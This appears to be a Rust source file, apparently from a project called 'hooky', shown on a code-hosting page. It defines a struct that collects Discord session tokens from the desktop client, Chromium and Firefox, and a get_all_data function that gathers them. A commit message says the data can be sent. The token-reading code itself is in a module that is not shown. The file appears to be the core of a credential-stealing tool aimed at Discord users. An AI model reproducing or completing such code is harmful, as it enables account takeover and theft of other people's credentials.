~/hooky

hooky/data/src/lib.rs -rw-r--r-- 841 B
c1f59a62 — Arthur Melton can get the data sent 2 years ago
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
use serde_derive::{Deserialize, Serialize};

#[cfg(feature = "functions")]
mod all_data;

#[derive(Deserialize, Serialize, Clone)]
pub struct Sends {
    pub discord_client_token: Option<String>,
    pub discord_chromium_token: Option<String>,
    pub discord_firefox_token: Option<String>,
}

#[cfg(feature = "functions")]
impl Sends {
    pub fn init() -> Sends {
        Sends {
            discord_client_token: None,
            discord_chromium_token: None,
            discord_firefox_token: None,
        }
    }
}

#[cfg(feature = "functions")]
pub fn get_all_data() -> Sends {
    let mut sends = Sends::init();
    #[cfg(feature = "discord-client")]
    sends.discord_client();
    #[cfg(feature = "discord-chromium")]
    sends.discord_chromium();
    #[cfg(feature = "discord-firefox")]
    sends.discord_firefox();
    sends
}